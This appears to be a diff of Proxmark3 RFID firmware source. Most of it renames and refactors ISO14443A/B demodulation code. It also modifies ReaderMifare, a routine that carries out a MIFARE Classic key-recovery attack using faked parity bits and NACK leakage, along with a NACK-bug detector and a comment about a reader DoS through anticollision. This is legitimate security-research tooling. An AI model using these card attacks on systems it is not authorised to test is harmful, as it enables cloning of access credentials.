@ -1930,13 +2063,62 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receive
|
|||
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
|
||||
|
||||
// Now get the answer from the card
|
||||
DemodInit(receivedResponse, receivedResponsePar);
|
||||
Demod14aInit(receivedResponse, NULL);
|
||||
|
||||
// clear RXRDY:
|
||||
uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
|
||||
(void)b;
|
||||
|
||||
uint32_t receive_timer = GetTickCount();
|
||||
for (;;) {
|
||||
WDT_HIT();
|
||||
|
||||
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
|
||||
b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
|
||||
if (ManchesterDecoding_Thinfilm(b)) {
|
||||
*received_len = Demod.len;
|
||||
// log
|
||||
LogTrace(receivedResponse, Demod.len, Demod.startTime * 16 - DELAY_AIR2ARM_AS_READER, Demod.endTime * 16 - DELAY_AIR2ARM_AS_READER, NULL, false);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
if (GetTickCountDelta(receive_timer) > 100)
|
||||
break;
|
||||
}
|
||||
*received_len = Demod.len;
|
||||
// log
|
||||
LogTrace(receivedResponse, Demod.len, Demod.startTime * 16 - DELAY_AIR2ARM_AS_READER, Demod.endTime * 16 - DELAY_AIR2ARM_AS_READER, NULL, false);
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Wait a certain time for tag response
|
||||
// If a response is captured return TRUE
|
||||
// If it takes too long return FALSE
|
||||
//-----------------------------------------------------------------------------
|
||||
static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receivedResponsePar, uint16_t offset) {
|
||||
uint32_t c = 0;
|
||||
|
||||
if (!hf_field_active)
|
||||
return false;
|
||||
|
||||
// Set FPGA mode to "reader listen mode", no modulation (listen
|
||||
// only, since we are receiving, not transmitting).
|
||||
// Signal field is on with the appropriate LED
|
||||
LED_D_ON();
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
|
||||
|
||||
// Now get the answer from the card
|
||||
Demod14aInit(receivedResponse, receivedResponsePar);
|
||||
|
||||
// clear RXRDY:
|
||||
uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
|
||||
(void)b;
|
||||
|
||||
uint32_t timeout = iso14a_get_timeout();
|
||||
uint32_t receive_timer = GetTickCount();
|
||||
for (;;) {
|
||||
WDT_HIT();
|
||||
|
||||
|
@ -1945,11 +2127,16 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receive
|
|||
if (ManchesterDecoding(b, offset, 0)) {
|
||||
NextTransferTime = MAX(NextTransferTime, Demod.endTime - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER) / 16 + FRAME_DELAY_TIME_PICC_TO_PCD);
|
||||
return true;
|
||||
} else if (c++ > timeout && Demod.state == DEMOD_UNSYNCD) {
|
||||
} else if (c++ > timeout && Demod.state == DEMOD_14A_UNSYNCD) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// timeout already in ms + 100ms guard time
|
||||
if (GetTickCountDelta(receive_timer) > timeout + 100)
|
||||
break;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void ReaderTransmitBitsPar(uint8_t *frame, uint16_t bits, uint8_t *par, uint32_t *timing) {
|
||||
|
@ -1994,6 +2181,7 @@ int ReaderReceive(uint8_t *receivedAnswer, uint8_t *par) {
|
|||
return Demod.len;
|
||||
}
|
||||
|
||||
|
||||
// This function misstreats the ISO 14443a anticollision procedure.
|
||||
// by fooling the reader there is a collision and forceing the reader to
|
||||
// increase the uid bytes. The might be an overflow, DoS will occure.
|
||||
|
@ -2339,8 +2527,7 @@ void iso14443a_setup(uint8_t fpga_minor_mode) {
|
|||
|
||||
LED_D_OFF();
|
||||
// Signal field is on with the appropriate LED
|
||||
if (fpga_minor_mode == FPGA_HF_ISO14443A_READER_MOD ||
|
||||
fpga_minor_mode == FPGA_HF_ISO14443A_READER_LISTEN)
|
||||
if (fpga_minor_mode == FPGA_HF_ISO14443A_READER_MOD || fpga_minor_mode == FPGA_HF_ISO14443A_READER_LISTEN)
|
||||
LED_D_ON();
|
||||
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | fpga_minor_mode);
|
||||
|
@ -2350,10 +2537,19 @@ void iso14443a_setup(uint8_t fpga_minor_mode) {
|
|||
StartCountSspClk();
|
||||
|
||||
// Prepare the demodulation functions
|
||||
DemodReset();
|
||||
UartReset();
|
||||
Demod14aReset();
|
||||
Uart14aReset();
|
||||
NextTransferTime = 2 * DELAY_ARM2AIR_AS_READER;
|
||||
iso14a_set_timeout(1060); // 106 * 10ms default
|
||||
|
||||
hf_field_active = true;
|
||||
}
|
||||
|
||||
|
||||
void hf_field_off(void) {
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
LEDsoff();
|
||||
hf_field_active = false;
|
||||
}
|
||||
|
||||
/* Peter Fillmore 2015
|
||||
|
@ -2492,6 +2688,8 @@ void ReaderIso14443a(PacketCommandNG *c) {
|
|||
if (!(param & ISO14A_NO_SELECT)) {
|
||||
iso14a_card_select_t *card = (iso14a_card_select_t *)buf;
|
||||
arg0 = iso14443a_select_card(NULL, card, NULL, true, 0, param & ISO14A_NO_RATS);
|
||||
FpgaDisableTracing();
|
||||
|
||||
reply_mix(CMD_ACK, arg0, card->uidlen, 0, buf, sizeof(iso14a_card_select_t));
|
||||
if (arg0 == 0)
|
||||
goto OUT;
|
||||
|
@ -2504,6 +2702,8 @@ void ReaderIso14443a(PacketCommandNG *c) {
|
|||
if ((param & ISO14A_APDU)) {
|
||||
uint8_t res;
|
||||
arg0 = iso14_apdu(cmd, len, (param & ISO14A_SEND_CHAINING), buf, &res);
|
||||
FpgaDisableTracing();
|
||||
|
||||
reply_old(CMD_ACK, arg0, res, 0, buf, sizeof(buf));
|
||||
}
|
||||
|
||||
|
@ -2548,6 +2748,8 @@ void ReaderIso14443a(PacketCommandNG *c) {
|
|||
}
|
||||
}
|
||||
arg0 = ReaderReceive(buf, par);
|
||||
FpgaDisableTracing();
|
||||
|
||||
reply_old(CMD_ACK, arg0, 0, 0, buf, sizeof(buf));
|
||||
}
|
||||
|
||||
|
@ -2558,9 +2760,8 @@ void ReaderIso14443a(PacketCommandNG *c) {
|
|||
return;
|
||||
|
||||
OUT:
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
hf_field_off();
|
||||
set_tracing(false);
|
||||
LEDsoff();
|
||||
}
|
||||
|
||||
// Determine the distance between two nonces.
|
||||
|
@ -2635,6 +2836,8 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
|
|||
static uint8_t par_low = 0;
|
||||
static uint8_t mf_nr_ar3 = 0;
|
||||
|
||||
int return_status = PM3_SUCCESS;
|
||||
|
||||
AddCrc14A(mf_auth, 2);
|
||||
|
||||
if (first_try) {
|
||||
|
@ -2651,6 +2854,7 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
|
|||
}
|
||||
|
||||
LED_C_ON();
|
||||
uint16_t checkbtn_cnt = 0;
|
||||
uint16_t i;
|
||||
for (i = 0; true; ++i) {
|
||||
|
||||
|
@ -2659,16 +2863,21 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
|
|||
WDT_HIT();
|
||||
|
||||
// Test if the action was cancelled
|
||||
if (BUTTON_PRESS()) {
|
||||
isOK = -1;
|
||||
break;
|
||||
if (checkbtn_cnt == 1000) {
|
||||
if (BUTTON_PRESS() || data_available()) {
|
||||
isOK = -1;
|
||||
return_status = PM3_EOPABORTED;
|
||||
break;
|
||||
}
|
||||
checkbtn_cnt = 0;
|
||||
}
|
||||
++checkbtn_cnt;
|
||||
|
||||
// this part is from Piwi's faster nonce collecting part in Hardnested.
|
||||
if (!have_uid) { // need a full select cycle to get the uid first
|
||||
iso14a_card_select_t card_info;
|
||||
if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) {
|
||||
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Mifare: Can't select card (ALL)");
|
||||
if (DBGLEVEL >= DBG_INFO) Dbprintf("Mifare: Can't select card (ALL)");
|
||||
continue;
|
||||
}
|
||||
switch (card_info.uidlen) {
|
||||
|
@ -2687,7 +2896,7 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
|
|||
have_uid = true;
|
||||
} else { // no need for anticollision. We can directly select the card
|
||||
if (!iso14443a_fast_select_card(uid, cascade_levels)) {
|
||||
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Mifare: Can't select card (UID)");
|
||||
if (DBGLEVEL >= DBG_INFO) Dbprintf("Mifare: Can't select card (UID)");
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
@ -2720,8 +2929,16 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
|
|||
ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL);
|
||||
|
||||
// Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
|
||||
if (ReaderReceive(receivedAnswer, receivedAnswerPar))
|
||||
int resp_res = ReaderReceive(receivedAnswer, receivedAnswerPar);
|
||||
if (resp_res == 1)
|
||||
received_nack = true;
|
||||
else if (resp_res == 4) {
|
||||
// did we get lucky and got our dummykey to be valid?
|
||||
// however we dont feed key w uid it the prng..
|
||||
isOK = -6;
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
// we didn't calibrate our clock yet,
|
||||
// iceman: has to be calibrated every time.
|
||||
|
@ -2842,29 +3059,40 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
|
|||
|
||||
mf_nr_ar[3] &= 0x1F;
|
||||
|
||||
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Number of sent auth requestes: %u", i);
|
||||
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Number of sent auth requests: %u", i);
|
||||
|
||||
uint8_t buf[32] = {0x00};
|
||||
memset(buf, 0x00, sizeof(buf));
|
||||
num_to_bytes(cuid, 4, buf);
|
||||
num_to_bytes(nt, 4, buf + 4);
|
||||
memcpy(buf + 8, par_list, 8);
|
||||
memcpy(buf + 16, ks_list, 8);
|
||||
memcpy(buf + 24, mf_nr_ar, 8);
|
||||
FpgaDisableTracing();
|
||||
|
||||
reply_mix(CMD_ACK, isOK, 0, 0, buf, sizeof(buf));
|
||||
struct {
|
||||
int32_t isOK;
|
||||
uint8_t cuid[4];
|
||||
uint8_t nt[4];
|
||||
uint8_t par_list[8];
|
||||
uint8_t ks_list[8];
|
||||
uint8_t nr[4];
|
||||
uint8_t ar[4];
|
||||
} PACKED payload;
|
||||
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
LEDsoff();
|
||||
payload.isOK = isOK;
|
||||
num_to_bytes(cuid, 4, payload.cuid);
|
||||
num_to_bytes(nt, 4, payload.nt);
|
||||
memcpy(payload.par_list, par_list, sizeof(payload.par_list));
|
||||
memcpy(payload.ks_list, ks_list, sizeof(payload.ks_list));
|
||||
memcpy(payload.nr, mf_nr_ar, sizeof(payload.nr));
|
||||
memcpy(payload.ar, mf_nr_ar + 4, sizeof(payload.ar));
|
||||
|
||||
reply_ng(CMD_HF_MIFARE_READER, return_status, (uint8_t *)&payload, sizeof(payload));
|
||||
|
||||
hf_field_off();
|
||||
set_tracing(false);
|
||||
}
|
||||
|
||||
/*
|
||||
* Mifare Classic NACK-bug detection
|
||||
* Thanks to @doegox for the feedback and new approaches.
|
||||
* Mifare Classic NACK-bug detection
|
||||
* Thanks to @doegox for the feedback and new approaches.
|
||||
*/
|
||||
void DetectNACKbug() {
|
||||
uint8_t mf_auth[] = {0x60, 0x00, 0xF5, 0x7B};
|
||||
void DetectNACKbug(void) {
|
||||
uint8_t mf_auth[] = {0x60, 0x00, 0xF5, 0x7B};
|
||||
uint8_t mf_nr_ar[] = {0, 0, 0, 0, 0, 0, 0, 0};
|
||||
uint8_t uid[10] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
|
||||
uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = {0x00};
|
||||
|
@ -2895,6 +3123,8 @@ void DetectNACKbug() {
|
|||
sync_time = GetCountSspClk() & 0xfffffff8;
|
||||
|
||||
LED_C_ON();
|
||||
uint16_t checkbtn_cnt = 0;
|
||||
|
||||
uint16_t i;
|
||||
for (i = 1; true; ++i) {
|
||||
|
||||
|
@ -2909,16 +3139,20 @@ void DetectNACKbug() {
|
|||
WDT_HIT();
|
||||
|
||||
// Test if the action was cancelled
|
||||
if (BUTTON_PRESS() || data_available()) {
|
||||
status = PM3_EOPABORTED;
|
||||
break;
|
||||
if (checkbtn_cnt == 1000) {
|
||||
if (BUTTON_PRESS() || data_available()) {
|
||||
status = PM3_EOPABORTED;
|
||||
break;
|
||||
}
|
||||
checkbtn_cnt = 0;
|
||||
}
|
||||
++checkbtn_cnt;
|
||||
|
||||
// this part is from Piwi's faster nonce collecting part in Hardnested.
|
||||
if (!have_uid) { // need a full select cycle to get the uid first
|
||||
iso14a_card_select_t card_info;
|
||||
if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) {
|
||||
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Mifare: Can't select card (ALL)");
|
||||
if (DBGLEVEL >= DBG_INFO) Dbprintf("Mifare: Can't select card (ALL)");
|
||||
i = 0;
|
||||
continue;
|
||||
}
|
||||
|
@ -2940,7 +3174,7 @@ void DetectNACKbug() {
|
|||
have_uid = true;
|
||||
} else { // no need for anticollision. We can directly select the card
|
||||
if (!iso14443a_fast_select_card(uid, cascade_levels)) {
|
||||
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Mifare: Can't select card (UID)");
|
||||
if (DBGLEVEL >= DBG_INFO) Dbprintf("Mifare: Can't select card (UID)");
|
||||
i = 0;
|
||||
have_uid = false;
|
||||
continue;
|
||||
|
@ -2972,10 +3206,11 @@ void DetectNACKbug() {
|
|||
// Transmit reader nonce with fake par
|
||||
ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL);
|
||||
|
||||
// Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
|
||||
if (ReaderReceive(receivedAnswer, receivedAnswerPar)) {
|
||||
received_nack = true;
|
||||
num_nacks++;
|
||||
// ALWAYS leak Detection.
|
||||
// ALWAYS leak Detection. Well, we could be lucky and get a response nack on first try.
|
||||
if (i == num_nacks) {
|
||||
continue;
|
||||
}
|
||||
|
@ -3085,16 +3320,15 @@ void DetectNACKbug() {
|
|||
|
||||
// num_nacks = number of nacks recieved. should be only 1. if not its a clone card which always sends NACK (parity == 0) ?
|
||||
// i = number of authentications sent. Not always 256, since we are trying to sync but close to it.
|
||||
FpgaDisableTracing();
|
||||
|
||||
uint8_t *data = BigBuf_malloc(4);
|
||||
data[0] = isOK;
|
||||
data[1] = num_nacks;
|
||||
num_to_bytes(i, 2, data + 2);
|
||||
reply_ng(CMD_MIFARE_NACK_DETECT, status, data, 4);
|
||||
reply_ng(CMD_HF_MIFARE_NACK_DETECT, status, data, 4);
|
||||
|
||||
//reply_mix(CMD_ACK, isOK, num_nacks, i, 0, 0);
|
||||
BigBuf_free();
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
LEDsoff();
|
||||
hf_field_off();
|
||||
set_tracing(false);
|
||||
}
|
||||
|
|
|
@ -13,21 +13,10 @@
|
|||
#ifndef __ISO14443A_H
|
||||
#define __ISO14443A_H
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include "common.h"
|
||||
#include "mifare.h" // struct
|
||||
#include "pm3_cmd.h"
|
||||
#include "cmd.h"
|
||||
#include "apps.h"
|
||||
#include "util.h"
|
||||
#include "string.h"
|
||||
#include "crc16.h"
|
||||
#include "mifaresniff.h"
|
||||
#include "crapto1/crapto1.h"
|
||||
#include "mifareutil.h"
|
||||
#include "parity.h"
|
||||
#include "mifare.h" // structs
|
||||
#include "crc16.h" // compute_crc
|
||||
|
||||
// When the PM acts as tag and is receiving it takes
|
||||
// 2 ticks delay in the RF part (for the first falling edge),
|
||||
|
@ -42,11 +31,11 @@ extern "C" {
|
|||
|
||||
typedef struct {
|
||||
enum {
|
||||
DEMOD_UNSYNCD,
|
||||
// DEMOD_HALF_SYNCD,
|
||||
// DEMOD_MOD_FIRST_HALF,
|
||||
// DEMOD_NOMOD_FIRST_HALF,
|
||||
DEMOD_MANCHESTER_DATA
|
||||
DEMOD_14A_UNSYNCD,
|
||||
// DEMOD_14A_HALF_SYNCD,
|
||||
// DEMOD_14A_MOD_FIRST_HALF,
|
||||
// DEMOD_14A_NOMOD_FIRST_HALF,
|
||||
DEMOD_14A_MANCHESTER_DATA
|
||||
} state;
|
||||
uint16_t twoBits;
|
||||
uint16_t highCnt;
|
||||
|
@ -61,7 +50,7 @@ typedef struct {
|
|||
uint32_t startTime, endTime;
|
||||
uint8_t *output;
|
||||
uint8_t *parity;
|
||||
} tDemod;
|
||||
} tDemod14a;
|
||||
/*
|
||||
typedef enum {
|
||||
MOD_NOMOD = 0,
|
||||
|
@ -73,11 +62,11 @@ typedef enum {
|
|||
|
||||
typedef struct {
|
||||
enum {
|
||||
STATE_UNSYNCD,
|
||||
STATE_START_OF_COMMUNICATION,
|
||||
STATE_MILLER_X,
|
||||
STATE_MILLER_Y,
|
||||
STATE_MILLER_Z,
|
||||
STATE_14A_UNSYNCD,
|
||||
STATE_14A_START_OF_COMMUNICATION,
|
||||
STATE_14A_MILLER_X,
|
||||
STATE_14A_MILLER_Y,
|
||||
STATE_14A_MILLER_Z,
|
||||
// DROP_NONE,
|
||||
// DROP_FIRST_HALF,
|
||||
} state;
|
||||
|
@ -93,7 +82,7 @@ typedef struct {
|
|||
uint32_t startTime, endTime;
|
||||
uint8_t *output;
|
||||
uint8_t *parity;
|
||||
} tUart;
|
||||
} tUart14a;
|
||||
|
||||
#ifndef AddCrc14A
|
||||
# define AddCrc14A(data, len) compute_crc(CRC_14443_A, (data), (len), (data)+(len), (data)+(len)+1)
|
||||
|
@ -104,17 +93,20 @@ typedef struct {
|
|||
#endif
|
||||
|
||||
#ifndef CheckCrc14A
|
||||
# define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len))
|
||||
# define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len))
|
||||
#endif
|
||||
|
||||
void iso14a_set_timeout(uint32_t timeout);
|
||||
uint32_t iso14a_get_timeout(void);
|
||||
|
||||
void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par);
|
||||
|
||||
tDemod *GetDemod(void);
|
||||
void DemodReset(void);
|
||||
void DemodInit(uint8_t *data, uint8_t *par);
|
||||
tUart *GetUart(void);
|
||||
void UartReset(void);
|
||||
void UartInit(uint8_t *data, uint8_t *par);
|
||||
tDemod14a *GetDemod14a(void);
|
||||
void Demod14aReset(void);
|
||||
void Demod14aInit(uint8_t *data, uint8_t *par);
|
||||
tUart14a *GetUart14a(void);
|
||||
void Uart14aReset(void);
|
||||
void Uart14aInit(uint8_t *data, uint8_t *par);
|
||||
RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time);
|
||||
RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time);
|
||||
|
||||
|
@ -132,6 +124,7 @@ int iso14_apdu(uint8_t *cmd, uint16_t cmd_len, bool send_chaining, void *data, u
|
|||
int iso14443a_select_card(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades, bool no_rats);
|
||||
int iso14443a_fast_select_card(uint8_t *uid_ptr, uint8_t num_cascades);
|
||||
void iso14a_set_trigger(bool enable);
|
||||
void hf_field_off(void);
|
||||
|
||||
int EmSendCmd14443aRaw(uint8_t *resp, uint16_t respLen);
|
||||
int EmSend4bit(uint8_t resp);
|
||||
|
@ -148,10 +141,8 @@ bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_Start
|
|||
uint8_t *tag_data, uint16_t tag_len, uint32_t tag_StartTime, uint32_t tag_EndTime, uint8_t *tag_Parity);
|
||||
|
||||
void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype);
|
||||
void DetectNACKbug();
|
||||
void DetectNACKbug(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint8_t *received_len);
|
||||
|
||||
#endif /* __ISO14443A_H */
|
||||
|
|
|
@ -10,6 +10,20 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
#include "iso14443b.h"
|
||||
|
||||
#include "proxmark3_arm.h"
|
||||
#include "common.h" // access to global variable: DBGLEVEL
|
||||
#include "util.h"
|
||||
#include "string.h"
|
||||
#include "crc16.h"
|
||||
#include "protocols.h"
|
||||
#include "appmain.h"
|
||||
#include "BigBuf.h"
|
||||
#include "cmd.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "commonutil.h"
|
||||
#include "dbprint.h"
|
||||
#include "ticks.h"
|
||||
|
||||
#ifndef FWT_TIMEOUT_14B
|
||||
// defaults to 2000ms
|
||||
# define FWT_TIMEOUT_14B 35312
|
||||
|
@ -52,7 +66,7 @@ static uint32_t iso14b_timeout = FWT_TIMEOUT_14B;
|
|||
|
||||
//=============================================================================
|
||||
// An ISO 14443 Type B tag. We listen for commands from the reader, using
|
||||
// a UART kind of thing that's implemented in software. When we get a
|
||||
// a kind of thing that's implemented in software. When we get a
|
||||
// frame (i.e., a group of bytes between SOF and EOF), we check the CRC.
|
||||
// If it's good, then we can do something appropriate with it, and send
|
||||
// a response.
|
||||
|
@ -60,14 +74,14 @@ static uint32_t iso14b_timeout = FWT_TIMEOUT_14B;
|
|||
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// The software UART that receives commands from the reader, and its state variables.
|
||||
// The software that receives commands from the reader, and its state variables.
|
||||
//-----------------------------------------------------------------------------
|
||||
static struct {
|
||||
enum {
|
||||
STATE_UNSYNCD,
|
||||
STATE_GOT_FALLING_EDGE_OF_SOF,
|
||||
STATE_AWAITING_START_BIT,
|
||||
STATE_RECEIVING_DATA
|
||||
STATE_14B_UNSYNCD,
|
||||
STATE_14B_GOT_FALLING_EDGE_OF_SOF,
|
||||
STATE_14B_AWAITING_START_BIT,
|
||||
STATE_14B_RECEIVING_DATA
|
||||
} state;
|
||||
uint16_t shiftReg;
|
||||
int bitCnt;
|
||||
|
@ -77,8 +91,8 @@ static struct {
|
|||
uint8_t *output;
|
||||
} Uart;
|
||||
|
||||
static void UartReset() {
|
||||
Uart.state = STATE_UNSYNCD;
|
||||
static void Uart14bReset() {
|
||||
Uart.state = STATE_14B_UNSYNCD;
|
||||
Uart.shiftReg = 0;
|
||||
Uart.bitCnt = 0;
|
||||
Uart.byteCnt = 0;
|
||||
|
@ -86,9 +100,9 @@ static void UartReset() {
|
|||
Uart.posCnt = 0;
|
||||
}
|
||||
|
||||
static void UartInit(uint8_t *data) {
|
||||
static void Uart14bInit(uint8_t *data) {
|
||||
Uart.output = data;
|
||||
UartReset();
|
||||
Uart14bReset();
|
||||
// memset(Uart.output, 0x00, MAX_FRAME_SIZE);
|
||||
}
|
||||
|
||||
|
@ -120,7 +134,7 @@ static struct {
|
|||
} Demod;
|
||||
|
||||
// Clear out the state of the "UART" that receives from the tag.
|
||||
static void DemodReset() {
|
||||
static void Demod14bReset() {
|
||||
Demod.state = DEMOD_UNSYNCD;
|
||||
Demod.bitCount = 0;
|
||||
Demod.posCount = 0;
|
||||
|
@ -133,9 +147,9 @@ static void DemodReset() {
|
|||
Demod.endTime = 0;
|
||||
}
|
||||
|
||||
static void DemodInit(uint8_t *data) {
|
||||
static void Demod14bInit(uint8_t *data) {
|
||||
Demod.output = data;
|
||||
DemodReset();
|
||||
Demod14bReset();
|
||||
// memset(Demod.output, 0x00, MAX_FRAME_SIZE);
|
||||
}
|
||||
|
||||
|
@ -315,16 +329,16 @@ static void CodeIso14443bAsTag(const uint8_t *cmd, int len) {
|
|||
*/
|
||||
static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) {
|
||||
switch (Uart.state) {
|
||||
case STATE_UNSYNCD:
|
||||
case STATE_14B_UNSYNCD:
|
||||
if (!bit) {
|
||||
// we went low, so this could be the beginning of an SOF
|
||||
Uart.state = STATE_GOT_FALLING_EDGE_OF_SOF;
|
||||
Uart.state = STATE_14B_GOT_FALLING_EDGE_OF_SOF;
|
||||
Uart.posCnt = 0;
|
||||
Uart.bitCnt = 0;
|
||||
}
|
||||
break;
|
||||
|
||||
case STATE_GOT_FALLING_EDGE_OF_SOF:
|
||||
case STATE_14B_GOT_FALLING_EDGE_OF_SOF:
|
||||
Uart.posCnt++;
|
||||
if (Uart.posCnt == 2) { // sample every 4 1/fs in the middle of a bit
|
||||
if (bit) {
|
||||
|
@ -333,11 +347,11 @@ static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) {
|
|||
// zeros that it's a valid SOF
|
||||
Uart.posCnt = 0;
|
||||
Uart.byteCnt = 0;
|
||||
Uart.state = STATE_AWAITING_START_BIT;
|
||||
Uart.state = STATE_14B_AWAITING_START_BIT;
|
||||
LED_A_ON(); // Indicate we got a valid SOF
|
||||
} else {
|
||||
// didn't stay down long enough before going high, error
|
||||
Uart.state = STATE_UNSYNCD;
|
||||
Uart.state = STATE_14B_UNSYNCD;
|
||||
}
|
||||
} else {
|
||||
// do nothing, keep waiting
|
||||
|
@ -348,27 +362,27 @@ static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) {
|
|||
if (Uart.bitCnt > 12) {
|
||||
// Give up if we see too many zeros without a one, too.
|
||||
LED_A_OFF();
|
||||
Uart.state = STATE_UNSYNCD;
|
||||
Uart.state = STATE_14B_UNSYNCD;
|
||||
}
|
||||
break;
|
||||
|
||||
case STATE_AWAITING_START_BIT:
|
||||
case STATE_14B_AWAITING_START_BIT:
|
||||
Uart.posCnt++;
|
||||
if (bit) {
|
||||
if (Uart.posCnt > 50 / 2) { // max 57us between characters = 49 1/fs, max 3 etus after low phase of SOF = 24 1/fs
|
||||
// stayed high for too long between characters, error
|
||||
Uart.state = STATE_UNSYNCD;
|
||||
Uart.state = STATE_14B_UNSYNCD;
|
||||
}
|
||||
} else {
|
||||
// falling edge, this starts the data byte
|
||||
Uart.posCnt = 0;
|
||||
Uart.bitCnt = 0;
|
||||
Uart.shiftReg = 0;
|
||||
Uart.state = STATE_RECEIVING_DATA;
|
||||
Uart.state = STATE_14B_RECEIVING_DATA;
|
||||
}
|
||||
break;
|
||||
|
||||
case STATE_RECEIVING_DATA:
|
||||
case STATE_14B_RECEIVING_DATA:
|
||||
Uart.posCnt++;
|
||||
if (Uart.posCnt == 2) {
|
||||
// time to sample a bit
|
||||
|
@ -391,30 +405,30 @@ static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) {
|
|||
if (Uart.byteCnt >= Uart.byteCntMax) {
|
||||
// Buffer overflowed, give up
|
||||
LED_A_OFF();
|
||||
Uart.state = STATE_UNSYNCD;
|
||||
Uart.state = STATE_14B_UNSYNCD;
|
||||
} else {
|
||||
// so get the next byte now
|
||||
Uart.posCnt = 0;
|
||||
Uart.state = STATE_AWAITING_START_BIT;
|
||||
Uart.state = STATE_14B_AWAITING_START_BIT;
|
||||
}
|
||||
} else if (Uart.shiftReg == 0x000) {
|
||||
// this is an EOF byte
|
||||
LED_A_OFF(); // Finished receiving
|
||||
Uart.state = STATE_UNSYNCD;
|
||||
Uart.state = STATE_14B_UNSYNCD;
|
||||
if (Uart.byteCnt != 0)
|
||||
return true;
|
||||
|
||||
} else {
|
||||
// this is an error
|
||||
LED_A_OFF();
|
||||
Uart.state = STATE_UNSYNCD;
|
||||
Uart.state = STATE_14B_UNSYNCD;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
LED_A_OFF();
|
||||
Uart.state = STATE_UNSYNCD;
|
||||
Uart.state = STATE_14B_UNSYNCD;
|
||||
break;
|
||||
}
|
||||
return false;
|
||||
|
@ -454,7 +468,7 @@ static int GetIso14443bCommandFromReader(uint8_t *received, uint16_t *len) {
|
|||
}
|
||||
*/
|
||||
// Now run a `software UART' on the stream of incoming samples.
|
||||
UartInit(received);
|
||||
Uart14bInit(received);
|
||||
|
||||
uint8_t mask;
|
||||
while (!BUTTON_PRESS()) {
|
||||
|
@ -621,7 +635,12 @@ void SimulateIso14443bTag(uint32_t pupi) {
|
|||
|
||||
// find reader field
|
||||
if (cardSTATE == SIM_NOFIELD) {
|
||||
|
||||
#if defined RDV4
|
||||
vHf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10;
|
||||
#else
|
||||
vHf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10;
|
||||
#endif
|
||||
if (vHf > MF_MINFIELDV) {
|
||||
cardSTATE = SIM_IDLE;
|
||||
LED_A_ON();
|
||||
|
@ -949,7 +968,7 @@ static void GetTagSamplesFor14443bDemod() {
|
|||
BigBuf_free();
|
||||
|
||||
// Set up the demodulator for tag -> reader responses.
|
||||
DemodInit(BigBuf_malloc(MAX_FRAME_SIZE));
|
||||
